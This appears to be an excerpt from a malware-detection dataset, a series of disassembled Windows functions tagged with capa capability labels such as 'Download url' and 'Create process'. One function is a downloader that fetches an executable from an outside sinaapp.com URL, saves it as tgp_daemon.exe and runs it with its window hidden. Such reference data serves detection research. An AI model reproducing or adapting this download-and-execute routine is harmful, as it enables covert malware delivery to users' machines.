joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004440]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004450]
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x1400043c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004430]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400043a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Create process on windows
Download url
Hide graphical window
Receive data

Disassembly:
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
call sym.__main
lea rax, str.https:__mysrc.sinaapp.com_att_download__id2302
mov qword [rbp - 8], rax
lea rax, str.._tgp_daemon.exe
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp - 0x14], eax
mov ecx, 3
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp - 0x80]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x80], 0x68
lea rax, [rbp - 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.._tgp_daemon.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x14000159e
mov rax, qword [rbp - 0xa0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp - 0xa0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x98]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x1400015a7
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
add rsp, 0xf8
pop rdi
pop rbp
ret
Function at 0x140001890
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001900
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001a30
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000194b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400019d5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001930
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001a52
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019ce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400019e0
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001958
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000201c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002013
test rsi, rsi
je 0x140002013
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ff8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002230
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002248
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002250
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002260
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400022ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400022a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022af
add rax, 0x28
cmp rax, r9
jne 0x140002290
xor eax, eax
ret

Function at 0x1400022b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002340
mov rdx, qword [0x1400043c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000232e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000232e
cmp word [rax + 0x18], 0x20b
jne 0x14000232e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002340
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002319
add rbx, 0x28
cmp rbx, rdi
je 0x140002340
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002310
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002370
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002378
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002370
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400023c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002370
add rax, 0x28
cmp rax, r9
jne 0x1400023b0
xor eax, eax
ret

Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002410
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002430
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002438
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002430
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002480
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002477
test rcx, rcx
je 0x140002430
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002468
xor eax, eax
ret

Function at 0x140002490
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400024d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024f0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400024f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002544
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002550
add rdx, 0x28
cmp r9, rdx
jne 0x140002530
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002560
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002582
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002590
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002582
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002582
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002582
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x1400025e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400025f8
add rdx, 0x28
cmp rdx, r10
jne 0x1400025d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002607
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002617
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400025ee
test ecx, ecx
jg 0x140002600
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140004884
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140012b50
mov r15, qword [0x140020514]
cmp r15, 1
jne 0x140004953
push qword [0x140020604]
pop rcx
call fcn.14000dd04
mov r15, rax
and r15, r15
jle 0x1400048e9
mov rcx, qword [0x140020604]
call fcn.14000dd0c
mov rcx, qword [0x140020604]
call fcn.14000dd20
or rax, rax
je 0x1400048e9
mov rbp, qword [0x14002060c]
push qword [rbp + 0x10]
pop rcx
call fcn.14000e1bc
jmp 0x1400048c6
push qword [0x1400205f4]
pop rcx
call fcn.14000dd04
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004953
push 5
push 0
push 1
push qword [0x1400205f4]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009060
mov rcx, qword [0x1400205f4]
call fcn.14000dd0c
mov rcx, qword [0x1400205f4]
call fcn.14000dd20
or rax, rax
je 0x140004953
mov rbp, qword [0x1400205fc]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x140004930
mov rax, 1
jmp 0x14000495f
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006b38
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub bl, bl
push rbx
sbb bh, byte fs:[rbx]
retf 0xaf57
mov eax, 0x9c3c8c9d
add edi, 0xa5d00e49
sbb al, 0xc9
lea edx, [rdx]
imul esp, dword [rdx + 0x76], 0xca91ccee
push 0xffffffffbb4a7b30
add al, dl
invalid
mov ebx, 0x3b361abb
iretd
push rax
sbb dword [rcx], edx
int1
invalid
jae 0x14003f731
invalid
fbld tbyte [rcx]
or al, 0xf7
mov r12b, 0xf0
cmpsb byte [rsi], byte [rdi]
invalid
test dword [rsi], esi
popfq
iretd
cmp eax, dword [rdx]
add ebx, dword [rcx - 0x5b]
invalid
invalid
Function at 0x1400144d0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
mov r11, rsp
sub rsp, 0x1e8
mov rax, qword [0x1400c8718]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rax, qword [0x1400c9cd8]
test rax, rax
jne 0x140014602
mov qword [r11 + 8], rbx
mov ecx, 0x110
mov qword [r11 - 8], rdi
call fcn.14006b044
mov qword [rsp + 0x20], rax
mov rbx, rax
test rax, rax
je 0x1400145aa
mov qword [rax], 0
lea rdx, [rsp + 0x30]
mov byte [rax + 0x108], 0
mov ecx, 0x202
mov byte [rax + 8], 0
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400145ac
lea ecx, [rax + 3]
call fcn.140024da0
test eax, eax
jne 0x1400145ac
call fcn.140024b30
mov qword [rbx], rax
lea r8, [rbx + 8]
mov byte [rbx + 8], 0
mov edx, 0x271a
mov rcx, qword [rbx]
call fcn.140024d10
mov rcx, qword [str.internalcheck.corp.blizzard.net]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1400145a0
cmp word [rax + 0x10], 2
jne 0x1400145a0
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
cmp dword [rcx], 0x100007f
jne 0x1400145a0
mov al, 1
mov byte [rbx + 0x108], al
jmp 0x1400145ac
xor al, al
mov byte [rbx + 0x108], al
jmp 0x1400145ac
xor ebx, ebx
mov rdi, qword [0x1400c9cd8]
mov qword [0x1400c9cd8], rbx
test rdi, rdi
je 0x1400145ef
mov rcx, qword [rdi]
call fcn.140024af0
mov qword [rdi], 0
call fcn.140024d40
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, 0x110
mov rcx, rdi
call fcn.14006b080
mov rax, qword [0x1400c9cd8]
jmp 0x1400145f2
mov rax, rbx
mov rbx, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.14006b1a0
add rsp, 0x1e8
ret
Function at 0x1400168d0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400c8718]
xor rax, rsp
mov qword [rsp + 0xb8], rax
cmp qword [rcx], 0
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
je 0x1400169dc
mov rax, qword [rcx + 8]
test rax, rax
jne 0x140016920
mov ecx, 0x100000
call fcn.14006b850
mov qword [rdi + 8], rax
test rax, rax
je 0x1400169dc
xorps xmm0, xmm0
lea rcx, [rsp + 0x90]
xor eax, eax
mov rdx, rbx
movups xmmword [rsp + 0x90], xmm0
mov dword [rsp + 0xb0], eax
movups xmmword [rsp + 0xa0], xmm0
call fcn.140022440
lea rdx, [0x14009cedc]
mov rcx, rbx
call fcn.140022270
mov rbx, rax
test rax, rax
je 0x1400169dc
mov rcx, qword [rdi]
lea r8, [rsp + 0x90]
mov dword [rsp + 0x88], 0x800
xor eax, eax
mov dword [rsp + 0x80], eax
xor r9d, r9d
mov dword [rsp + 0x78], eax
mov rdx, rsi
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x60], 8
mov dword [rsp + 0x58], 0xfffffff1
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], 8
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
call fcn.140061860
test eax, eax
je 0x1400169f9
mov rcx, rbx
call fcn.140071ea8
xor al, al
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.14006b1a0
add rsp, 0xc0
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0xf8], rbp
mov bpl, 1
mov rcx, rbx
call fcn.1400782c8
test eax, eax
jne 0x140016a52
mov rcx, qword [rdi + 8]
lea edx, [rax + 1]
mov r9, rbx
mov r8d, 0x100000
call fcn.140072320
mov rsi, rax
cmp rax, 0x100000
jae 0x140016a3c
mov rcx, rbx
call fcn.1400782c8
test eax, eax
je 0x140016a4f
mov rdx, qword [rdi + 8]
mov r8d, esi
mov rcx, qword [rdi]
call fcn.140061f90
test eax, eax
je 0x140016a04
xor bpl, bpl
mov rcx, rbx
call fcn.140071ea8
mov rcx, qword [rdi]
call fcn.140061150
movzx eax, bpl
mov rbp, qword [rsp + 0xf8]
jmp 0x1400169de
Function at 0x140017e60
Capabilities:
Get file system object information

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x560
mov rax, qword [0x1400c8718]
xor rax, rsp
mov qword [rsp + 0x550], rax
mov ebx, edx
mov rdi, rcx
mov edx, 0x104
lea rcx, [rsp + 0x340]
call fcn.140021d20
test rax, rax
je 0x140017faa
xorps xmm0, xmm0
lea rcx, [rsp + 0x340]
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rsp + 0x40], xmm0
lea edx, [rax + 0x2f]
mov dword [rsp + 0x34], ebx
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call fcn.14006e0d0
mov edx, 0x5c
lea rcx, [rsp + 0x340]
mov rbx, rax
call fcn.14006e0d0
cmp rbx, rax
cmova rax, rbx
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140017f04
cmp word [rax + 2], 0
je 0x140017f04
add rax, 2
jmp 0x140017f0c
lea rax, [rsp + 0x340]
or dword [rsp + 0x30], 1
xor r9d, r9d
mov edx, 0x1002
mov qword [rsp + 0x48], rax
mov rcx, rdi
lea r8d, [r9 + 1]
call qword [sym.imp.USER32.dll_SendMessageW]
mov rbx, rax
test rax, rax
je 0x140017f94
mov r9d, 0x2b8
mov dword [rsp + 0x20], 0x101
lea r8, [rsp + 0x80]
xor edx, edx
lea rcx, [rsp + 0x340]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test rax, rax
je 0x140017f94
mov r8, qword [rsp + 0x80]
test r8, r8
je 0x140017f94
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
test eax, eax
js 0x140017f86
or dword [rsp + 0x30], 2
mov dword [rsp + 0x54], eax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.USER32.dll_DestroyIcon]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov edx, 0x104d
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.14006b1a0
mov rbx, qword [rsp + 0x588]
add rsp, 0x560
pop rdi
ret
Function at 0x14001a380
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2140
call fcn.14006b200
sub rsp, rax
mov rax, qword [0x1400c8718]
xor rax, rsp
mov qword [rsp + 0x2130], rax
mov ebx, edx
mov rdi, rcx
mov edx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
mov rsi, rax
cmp ebx, 0x7546
jg 0x14001a592
je 0x14001a588
sub ebx, 1
je 0x14001a491
sub ebx, 1
je 0x14001a43c
cmp ebx, 4
jne 0x14001a5a4
lea edx, [rbx + 2]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetDlgItem]
mov r8d, 0x1000
lea rdx, [rsp + 0x130]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rdx, [0x1400a0618]
lea rcx, [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov rcx, rdi
test eax, eax
jne 0x14001a432
mov rdx, rsi
call fcn.140017fd0
jmp 0x14001a5c4
call fcn.14001a1d0
jmp 0x14001a5c4
mov eax, dword [rax]
shr eax, 5
test al, 1
jne 0x14001a5c4
mov r9d, 0x100
lea r8, [rsp + 0x30]
mov edx, 0x754f
mov rcx, rdi
call fcn.140019270
lea rcx, [rsp + 0x30]
call fcn.140016de0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 2
mov rcx, rsi
call fcn.140004cd0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_EndDialog]
jmp 0x14001a5c4
mov rdx, rsi
mov rcx, rdi
call fcn.140018f20
mov edx, 7
mov rcx, rsi
call fcn.140003d90
cmp byte [rax], 0
jne 0x14001a4bc
lea rdx, str.Must_enter_a_summary.
mov ebx, 0x753b
jmp 0x14001a535
cmp qword [0x1400c8590], 0
je 0x14001a578
mov rbx, qword [rsi + 0x998]
lea r8, [0x1400c8580]
lea rdx, [rsp + 0x20]
lea rcx, [rsi + 0x998]
call fcn.1400050b0
cmp qword [rax], rbx
je 0x14001a529
lea r8, [0x1400c8580]
lea rdx, [rsp + 0x28]
lea rcx, [rsi + 0x998]
call fcn.1400050b0
mov rcx, qword [rax]
mov rax, qword [rcx + 0x40]
test rax, rax
je 0x14001a529
mov rax, qword [rax + 0x50]
cmp qword [rax + 0x10], 0
lea rcx, [rax + 0x20]
je 0x14001a524
mov rcx, qword [rcx]
cmp byte [rcx], 0
jne 0x14001a578
lea rdx, str.Must_enter_expected_steps.
mov ebx, 0x753f
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.USER32.dll_MessageBoxW]
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetDlgItem]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_SetFocus]
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0xb1
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageW]
jmp 0x14001a5c4
mov edx, 1
mov rcx, rdi
call qword [sym.imp.USER32.dll_EndDialog]
jmp 0x14001a5c4
mov rcx, rdi
call fcn.140017aa0
jmp 0x14001a5c4
sub ebx, 0x7547
je 0x14001a5bc
sub ebx, 1
je 0x14001a5b2
cmp ebx, 1
je 0x14001a5a8
xor eax, eax
jmp 0x14001a5c9
mov rcx, rdi
call fcn.140019e20
jmp 0x14001a5c4
mov rcx, rdi
call fcn.14001bd70
jmp 0x14001a5c4
mov rcx, rdi
call fcn.14001dea0
mov eax, 1
mov rcx, qword [rsp + 0x2130]
xor rcx, rsp
call fcn.14006b1a0
lea r11, [rsp + 0x2140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14001ab30
Capabilities:
Get graphical window text

Disassembly:
push rdi
mov eax, 0x2050
call fcn.14006b200
sub rsp, rax
mov rax, qword [0x1400c8718]
xor rax, rsp
mov qword [rsp + 0x2040], rax
cmp dword [rdx], 5
mov rdi, rdx
jne 0x14001ac89
mov rcx, qword [rdi + 0x18]
mov edx, 0xfffffff0
mov qword [rsp + 0x2060], rbx
mov qword [rsp + 0x2070], rsi
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov r8d, eax
mov ecx, eax
and r8d, 0x80
mov esi, eax
or r8d, 1
shl r8d, 4
mov ebx, r8d
bts ebx, 0xd
and ecx, 0x2000
cmove ebx, r8d
and eax, 0xc000
cmp eax, 0x4000
je 0x14001abc9
cmp eax, 0x8000
je 0x14001abc3
cmp eax, 0xc000
jne 0x14001abcd
bts ebx, 0x12
jmp 0x14001abcd
bts ebx, 0xe
jmp 0x14001abcd
bts ebx, 0xf
movups xmm0, xmmword [rdi + 0x28]
mov rcx, qword [rdi + 0x18]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
movups xmmword [rsp + 0x30], xmm0
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, qword [rdi + 0x20]
lea r9, [rsp + 0x30]
mov eax, ebx
lea rdx, [rsp + 0x40]
bts eax, 0xa
mov r8d, 0xffffffff
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_DrawTextW]
mov ecx, dword [rdi + 0x34]
sub ecx, dword [rdi + 0x2c]
sub ecx, dword [rsp + 0x3c]
add ecx, dword [rsp + 0x34]
movups xmm0, xmmword [rdi + 0x28]
bt esi, 9
mov rsi, qword [rsp + 0x2070]
